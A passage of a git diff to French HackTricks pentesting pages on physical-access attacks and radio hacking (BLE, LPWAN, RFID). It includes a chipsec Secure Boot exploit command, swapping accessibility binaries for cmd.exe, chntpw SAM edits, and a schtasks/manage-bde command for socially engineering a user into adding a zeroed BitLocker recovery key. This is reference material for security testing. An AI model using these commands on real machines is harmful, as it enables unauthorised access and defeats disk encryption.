sorte d'attaque, vous devriez essayer [chipsec](https://github.com/chipsec/chipsec/blob/master/chipsec-manual.pdf).\ -En utilisant cet outil, vous pourriez facilement désactiver le Secure Boot : -``` -python chipsec_main.py -module exploits.secure.boot.pk -``` -## RAM +**INCEPTION** est un outil conçu pour la **manipulation physique de la mémoire** via DMA, compatible avec des interfaces comme **FireWire** et **Thunderbolt**. Il permet de contourner les procédures de connexion en patchant la mémoire pour accepter n'importe quel mot de passe. Cependant, il est inefficace contre les systèmes **Windows 10**. -### Cold boot +### Live CD/USB pour l'Accès au Système -La **mémoire RAM est persistante de 1 à 2 minutes** à partir du moment où l'ordinateur est éteint. Si vous appliquez du **froid** (azote liquide, par exemple) sur la carte mémoire, vous pouvez prolonger ce temps jusqu'à **10 minutes**. +Changer les binaires système comme **_sethc.exe_** ou **_Utilman.exe_** avec une copie de **_cmd.exe_** peut fournir une invite de commande avec des privilèges système. Des outils comme **chntpw** peuvent être utilisés pour modifier le fichier **SAM** d'une installation Windows, permettant des changements de mot de passe. -Ensuite, vous pouvez faire un **dump de la mémoire** (en utilisant des outils comme dd.exe, mdd.exe, Memoryze, win32dd.exe ou DumpIt) pour analyser la mémoire. +**Kon-Boot** est un outil qui facilite la connexion aux systèmes Windows sans connaître le mot de passe en modifiant temporairement le noyau Windows ou l'UEFI. Plus d'informations peuvent être trouvées sur [https://www.raymond.cc](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/). -Vous devriez **analyser** la mémoire **avec volatility**. +### Gestion des Fonctionnalités de Sécurité Windows -### [INCEPTION](https://github.com/carmaa/inception) +#### Raccourcis de Démarrage et de Récupération -Inception est un outil de **manipulation de la mémoire physique** et de hacking exploitant le DMA basé sur PCI. L'outil peut attaquer via **FireWire**, **Thunderbolt**, **ExpressCard**, PC Card et tout autre interface HW PCI/PCIe.\ -**Connectez** votre ordinateur à l'ordinateur victime via l'une de ces **interfaces** et **INCEPTION** essaiera de **patcher** la **mémoire physique** pour vous donner **accès**. +- **Supr** : Accéder aux paramètres du BIOS. +- **F8** : Entrer en mode Récupération. +- Appuyer sur **Shift** après la bannière Windows peut contourner l'autologon. -**Si INCEPTION réussit, tout mot de passe introduit sera valide.** +#### Périphériques BAD USB -**Il ne fonctionne pas avec Windows10.** +Des périphériques comme **Rubber Ducky** et **Teensyduino** servent de plateformes pour créer des périphériques **bad USB**, capables d'exécuter des charges prédéfinies lorsqu'ils sont connectés à un ordinateur cible. -## Live CD/USB +#### Copie d'Ombre du Volume -### Sticky Keys et plus +Les privilèges administratifs permettent la création de copies de fichiers sensibles, y compris le fichier **SAM**, via PowerShell. -* **SETHC :** _sethc.exe_ est invoqué lorsque SHIFT est pressé 5 fois -* **UTILMAN :** _Utilman.exe_ est invoqué en appuyant sur WINDOWS+U -* **OSK :** _osk.exe_ est invoqué en appuyant sur WINDOWS+U, puis en lançant le clavier à l'écran -* **DISP :** _DisplaySwitch.exe_ est invoqué en appuyant sur WINDOWS+P +### Contournement du Chiffrement BitLocker -Ces binaires se trouvent dans _**C:\Windows\System32**_. Vous pouvez **changer** l'un d'eux pour une **copie** du binaire **cmd.exe** (également dans le même dossier) et chaque fois que vous invoquez l'un de ces binaires, une invite de commande en tant que **SYSTEM** apparaîtra. +Le chiffrement BitLocker peut potentiellement être contourné si le **mot de passe de récupération** est trouvé dans un fichier de vidage mémoire (**MEMORY.DMP**). Des outils comme **Elcomsoft Forensic Disk Decryptor** ou **Passware Kit Forensic** peuvent être utilisés à cette fin. -### Modification du SAM +### Ingénierie Sociale pour l'Ajout de Clé de Récupération -Vous pouvez utiliser l'outil _**chntpw**_ pour **modifier le** _**fichier SAM**_ d'un système de fichiers Windows monté. Ensuite, vous pourriez changer le mot de passe de l'utilisateur Administrateur, par exemple.\ -Cet outil est disponible dans KALI. -``` -chntpw -h -chntpw -l -``` -**Dans un système Linux, vous pourriez modifier le fichier** _**/etc/shadow**_ **ou** _**/etc/passwd**_. +Une nouvelle clé de récupération BitLocker peut être ajoutée grâce à des tactiques d'ingénierie sociale, convaincant un utilisateur d'exécuter une commande qui ajoute une nouvelle clé de récupération composée de zéros, simplifiant ainsi le processus de déchiffrement. -### **Kon-Boot** - -**Kon-Boot** est l'un des meilleurs outils permettant de se connecter à Windows sans connaître le mot de passe. Il fonctionne en **s'insérant dans le BIOS du système et en modifiant temporairement le contenu du noyau de Windows** pendant le démarrage (les nouvelles versions fonctionnent également avec **UEFI**). Il vous permet ensuite de saisir **n'importe quoi comme mot de passe** lors de la connexion. La prochaine fois que vous démarrez l'ordinateur sans Kon-Boot, le mot de passe original sera de retour, les modifications temporaires seront supprimées et le système se comportera comme si rien ne s'était passé.\ -En savoir plus : [https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/) - -C'est un CD/USB live qui peut **patcher la mémoire** afin que vous **n'ayez pas besoin de connaître le mot de passe pour vous connecter**.\ -Kon-Boot effectue également l'astuce **StickyKeys** pour que vous puissiez appuyer _**Shift**_ **5 fois pour obtenir une invite de commande Administrateur**. - -## **Exécution de Windows** - -### Raccourcis initiaux - -### Raccourcis de démarrage - -* supr - BIOS -* f8 - Mode de récupération -* _supr_ - BIOS ini -* _f8_ - Mode de récupération -* _Shift_ (après la bannière windows) - Aller à la page de connexion au lieu de l'autologon (éviter l'autologon) - -### **BAD USBs** - -#### **Tutoriels Rubber Ducky** - -* [Tutoriel 1](https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Tutorials) -* [Tutoriel 2](https://blog.hartleybrody.com/rubber-ducky-guide/) - -#### **Teensyduino** - -* [Charges utiles et tutoriels](https://github.com/Screetsec/Pateensy) - -Il existe également de nombreux tutoriels sur **comment créer votre propre bad USB**. - -### Copie de l'ombre de volume - -Avec les privilèges d'administrateur et powershell, vous pourriez faire une copie du fichier SAM.[ Voir ce code](../windows-hardening/basic-powershell-for-pentesters/#volume-shadow-copy). - -## Contournement de Bitlocker - -Bitlocker utilise **2 mots de passe**. Celui utilisé par l'**utilisateur**, et le mot de passe de **récupération** (48 chiffres). - -Si vous avez de la chance et que dans la session actuelle de Windows existe le fichier _**C:\Windows\MEMORY.DMP**_ (c'est un dump de mémoire), vous pourriez essayer de **rechercher à l'intérieur le mot de passe de récupération**. Vous pouvez **obtenir ce fichier** et une **copie du système de fichiers** puis utiliser _Elcomsoft Forensic Disk Decryptor_ pour obtenir le contenu (cela ne fonctionnera que si le mot de passe est dans le dump de mémoire). Vous pourriez également **forcer le dump de mémoire** en utilisant _**NotMyFault**_ de _Sysinternals_, mais cela redémarrera le système et doit être exécuté en tant qu'Administrateur. - -Vous pourriez aussi tenter une **attaque par force brute** en utilisant _**Passware Kit Forensic**_. - -### Ingénierie sociale - -Enfin, vous pourriez amener l'utilisateur à ajouter un nouveau mot de passe de récupération en le faisant exécuter en tant qu'administrateur : -```bash -schtasks /create /SC ONLOGON /tr "c:/windows/system32/manage-bde.exe -protectors -add c: -rp 000000-000000-000000-000000-000000-000000-000000-000000" /tn tarea /RU SYSTEM /f -``` -Cela ajoutera une nouvelle clé de récupération (composée de 48 zéros) lors de la prochaine connexion. - -Pour vérifier les clés de récupération valides, vous pouvez exécuter : -``` -manage-bde -protectors -get c: -```
-Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
diff --git a/radio-hacking/README.md b/radio-hacking/README.md index 33a3baac4..cd1a1a3ac 100644 --- a/radio-hacking/README.md +++ b/radio-hacking/README.md @@ -1,13 +1,13 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
diff --git a/radio-hacking/low-power-wide-area-network.md b/radio-hacking/low-power-wide-area-network.md index 93ed79552..2a02dcf9d 100644 --- a/radio-hacking/low-power-wide-area-network.md +++ b/radio-hacking/low-power-wide-area-network.md @@ -1,22 +1,22 @@ -# Réseau à faible puissance et longue portée +# Réseau étendu à faible puissance
-Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
## Introduction -**Low-Power Wide Area Network** (LPWAN) est un groupe de technologies de réseau sans fil à faible puissance et longue portée conçues pour des **communications à longue distance** avec un faible débit de données.\ +Le **Réseau étendu à faible puissance** (LPWAN) est un groupe de technologies de réseau sans fil à faible puissance et à large bande conçues pour des **communications à longue portée** à un faible débit.\ Ils peuvent atteindre plus de **six miles** et leurs **batteries** peuvent durer jusqu'à **20 ans**. Long Range (**LoRa**) est populaire dans plusieurs pays et dispose d'une spécification open source appelée **LoRaWAN**. @@ -27,14 +27,14 @@ Long Range (**LoRa**) est populaire dans plusieurs pays et dispose d'une spécif
-Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
diff --git a/radio-hacking/pentesting-ble-bluetooth-low-energy.md b/radio-hacking/pentesting-ble-bluetooth-low-energy.md index c87e7e712..1ea1a8ae7 100644 --- a/radio-hacking/pentesting-ble-bluetooth-low-energy.md +++ b/radio-hacking/pentesting-ble-bluetooth-low-energy.md @@ -1,33 +1,33 @@
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
# Introduction -Disponible depuis la spécification Bluetooth 4.0, le BLE utilise seulement 40 canaux, couvrant la gamme de 2400 à 2483,5 MHz. En contraste, le Bluetooth traditionnel utilise 79 canaux dans cette même gamme. +Disponible depuis la spécification Bluetooth 4.0, le BLE utilise uniquement 40 canaux, couvrant la plage de 2400 à 2483,5 MHz. En revanche, le Bluetooth traditionnel utilise 79 canaux dans la même plage. -La manière dont les appareils BLE communiquent est en envoyant des **paquets publicitaires** (**balises**), ces paquets diffusent l'existence de l'appareil BLE aux autres appareils à proximité. Ces balises **envoient parfois des données** également. +Les appareils BLE communiquent en envoyant des **paquets publicitaires** (**balises**), ces paquets diffusent l'existence de l'appareil BLE à d'autres appareils à proximité. Ces balises envoient parfois également des **données**. -L'appareil à l'écoute, également appelé appareil central, peut répondre à un paquet publicitaire avec une **demande de SCAN** envoyée spécifiquement à l'appareil publicitaire. La **réponse** à ce scan utilise la même structure que le paquet **publicitaire** avec des informations supplémentaires qui ne pouvaient pas tenir dans la demande publicitaire initiale, telles que le nom complet de l'appareil. +Le dispositif d'écoute, également appelé dispositif central, peut répondre à un paquet publicitaire avec une **demande de SCAN** envoyée spécifiquement à l'appareil publicitaire. La **réponse** à ce scan utilise la même structure que le **paquet publicitaire** avec des informations supplémentaires qui n'ont pas pu être incluses dans la demande publicitaire initiale, telles que le nom complet de l'appareil. ![](<../.gitbook/assets/image (201) (2) (1) (1).png>) -Le préambule d'un octet synchronise la fréquence, tandis que l'adresse d'accès de quatre octets est un **identifiant de connexion**, qui est utilisé dans des scénarios où plusieurs appareils tentent d'établir des connexions sur les mêmes canaux. Ensuite, l'Unité de Données de Protocole (**PDU**) contient les **données publicitaires**. Il existe plusieurs types de PDU ; les plus couramment utilisés sont ADV\_NONCONN\_IND et ADV\_IND. Les appareils utilisent le type de PDU **ADV\_NONCONN\_IND** s'ils **n'acceptent pas de connexions**, transmettant des données uniquement dans le paquet publicitaire. Les appareils utilisent **ADV\_IND** s'ils **permettent des connexions** et **arrêtent d'envoyer des paquets publicitaires** une fois qu'une **connexion** a été **établie**. +L'octet de préambule synchronise la fréquence, tandis que l'adresse d'accès sur quatre octets est un **identifiant de connexion**, utilisé dans les scénarios où plusieurs appareils tentent d'établir des connexions sur les mêmes canaux. Ensuite, l'Unité de Données de Protocole (**PDU**) contient les **données publicitaires**. Il existe plusieurs types de PDU ; les plus couramment utilisés sont ADV\_NONCONN\_IND et ADV\_IND. Les appareils utilisent le type de PDU **ADV\_NONCONN\_IND** s'ils **n'acceptent pas les connexions**, transmettant des données uniquement dans le paquet publicitaire. Les appareils utilisent **ADV\_IND** s'ils **autorisent les connexions** et **arrêtent d'envoyer des paquets publicitaires** une fois qu'une **connexion** a été **établie**. ## GATT -Le **Profil d'Attribut Générique** (GATT) définit comment l'**appareil doit formater et transférer les données**. Lorsque vous analysez la surface d'attaque d'un appareil BLE, vous vous concentrerez souvent sur le GATT (ou les GATTs), car c'est ainsi que la **fonctionnalité de l'appareil est déclenchée** et comment les données sont stockées, regroupées et modifiées. Le GATT répertorie les caractéristiques, descripteurs et services d'un appareil dans un tableau sous forme de valeurs de 16 ou 32 bits. Une **caractéristique** est une valeur de **données** **envoyée** entre l'appareil central et le périphérique. Ces caractéristiques peuvent avoir des **descripteurs** qui **fournissent des informations supplémentaires à leur sujet**. Les **caractéristiques** sont souvent **regroupées** dans des **services** si elles sont liées à l'exécution d'une action particulière. +Le **Profil d'Attribut Générique** (GATT) définit comment le **dispositif doit formater et transférer les données**. Lorsque vous analysez la surface d'attaque d'un appareil BLE, vous concentrerez souvent votre attention sur le GATT (ou les GATTs), car c'est ainsi que la **fonctionnalité de l'appareil est déclenchée** et comment les données sont stockées, regroupées et modifiées. Le GATT répertorie les caractéristiques, descripteurs et services d'un appareil dans un tableau en tant que valeurs de 16 ou 32 bits. Une **caractéristique** est une **valeur de données** **envoyée** entre le dispositif central et le périphérique. Ces caractéristiques peuvent avoir des **descripteurs** qui **fournissent des informations supplémentaires à leur sujet**. Les **caractéristiques** sont souvent **regroupées** dans des **services** s'ils sont liés à l'exécution d'une action particulière. # Énumération ```bash @@ -41,7 +41,7 @@ spooftooph -i hci0 -a 11:22:33:44:55:66 ``` ## GATTool -**GATTool** permet d'**établir** une **connexion** avec un autre appareil, de lister les **caractéristiques** de cet appareil, et de lire et écrire ses attributs.\ +**GATTool** permet d'**établir** une **connexion** avec un autre appareil, d'afficher les **caractéristiques** de cet appareil, et de lire et écrire ses attributs.\ GATTTool peut lancer un shell interactif avec l'option `-I` : ```bash gatttool -i hci0 -I @@ -77,14 +77,14 @@ sudo bettercap --eval "ble.recon on" ```
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge HackTricks AWS)! -Autres moyens de soutenir HackTricks : +D'autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/radio-hacking/pentesting-rfid.md b/radio-hacking/pentesting-rfid.md index 7f77afa35..5fa21887f 100644 --- a/radio-hacking/pentesting-rfid.md +++ b/radio-hacking/pentesting-rfid.md @@ -2,32 +2,32 @@
-☁️ HackTricks Cloud ☁️ - 🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -* Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou souhaitez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* **Rejoignez** le [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le **groupe Telegram** ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
## Introduction -**L'identification par radiofréquence (RFID)** est la solution radio à courte portée la plus populaire. Elle est généralement utilisée pour stocker et transmettre des informations identifiant une entité. +**L'identification par radiofréquence (RFID)** est la solution radio à courte portée la plus populaire. Elle est généralement utilisée pour stocker et transmettre des informations qui identifient une entité. Une étiquette RFID peut compter sur **sa propre source d'alimentation (active)**, telle qu'une batterie intégrée, ou recevoir son alimentation de l'antenne de lecture en utilisant le courant **induit par les ondes radio reçues** (**passive**). ### Classes -EPCglobal divise les étiquettes RFID en six catégories. Une étiquette de chaque catégorie possède toutes les capacités répertoriées dans la catégorie précédente, ce qui la rend rétrocompatible. +EPCglobal divise les étiquettes RFID en six catégories. Une étiquette dans chaque catégorie possède toutes les capacités répertoriées dans la catégorie précédente, ce qui la rend rétrocompatible. -* Les étiquettes de **Classe 0** sont des étiquettes **passives** qui fonctionnent dans les bandes **UHF**. Le vendeur les **préprogramme** à l'usine de production. Par conséquent, vous **ne pouvez pas modifier** les informations stockées dans leur mémoire. -* Les étiquettes de **Classe 1** peuvent également fonctionner dans les bandes **HF**. De plus, elles ne peuvent être **écrites qu'une seule fois** après la production. De nombreuses étiquettes de Classe 1 peuvent également traiter des **contrôles de redondance cyclique** (CRC) des commandes qu'elles reçoivent. Les CRC sont quelques octets supplémentaires à la fin des commandes pour la détection d'erreurs. -* Les étiquettes de **Classe 2** peuvent être **écrites plusieurs fois**. -* Les étiquettes de **Classe 3** peuvent contenir des **capteurs intégrés** qui peuvent enregistrer des paramètres environnementaux, tels que la température actuelle ou le mouvement de l'étiquette. Ces étiquettes sont **semi-passives**, car bien qu'elles **aient** une source d'alimentation intégrée, telle qu'une **batterie** intégrée, elles **ne peuvent pas initier** de **communication sans fil** avec d'autres étiquettes ou lecteurs. -* Les étiquettes de **Classe 4** peuvent initier une communication avec d'autres étiquettes de la même classe, ce qui en fait des étiquettes **actives**. -* Les étiquettes de **Classe 5** peuvent fournir **de l'énergie à d'autres étiquettes et communiquer avec toutes les classes d'étiquettes précédentes**. Les étiquettes de Classe 5 peuvent agir en tant que **lecteurs RFID**. +* Les étiquettes de **classe 0** sont des étiquettes **passives** qui fonctionnent dans les bandes **UHF**. Le vendeur les **préprogramme** à l'usine de production. Par conséquent, vous **ne pouvez pas modifier** les informations stockées dans leur mémoire. +* Les étiquettes de **classe 1** peuvent également fonctionner dans les bandes **HF**. De plus, elles ne peuvent être **écrites qu'une seule fois** après la production. De nombreuses étiquettes de classe 1 peuvent également traiter des **contrôles de redondance cyclique** (CRC) des commandes qu'elles reçoivent. Les CRC sont quelques octets supplémentaires à la fin des commandes pour la détection d'erreurs. +* Les étiquettes de **classe 2** peuvent être **écrites plusieurs fois**. +* Les étiquettes de **classe 3** peuvent contenir des **capteurs intégrés** qui peuvent enregistrer des paramètres environnementaux, tels que la température actuelle ou le mouvement de l'étiquette. Ces étiquettes sont **semi-passives**, car bien qu'elles **aient** une source d'alimentation intégrée, telle qu'une **batterie** intégrée, elles **ne peuvent pas initier** de **communication** sans fil avec d'autres étiquettes ou lecteurs. +* Les étiquettes de **classe 4** peuvent initier une communication avec 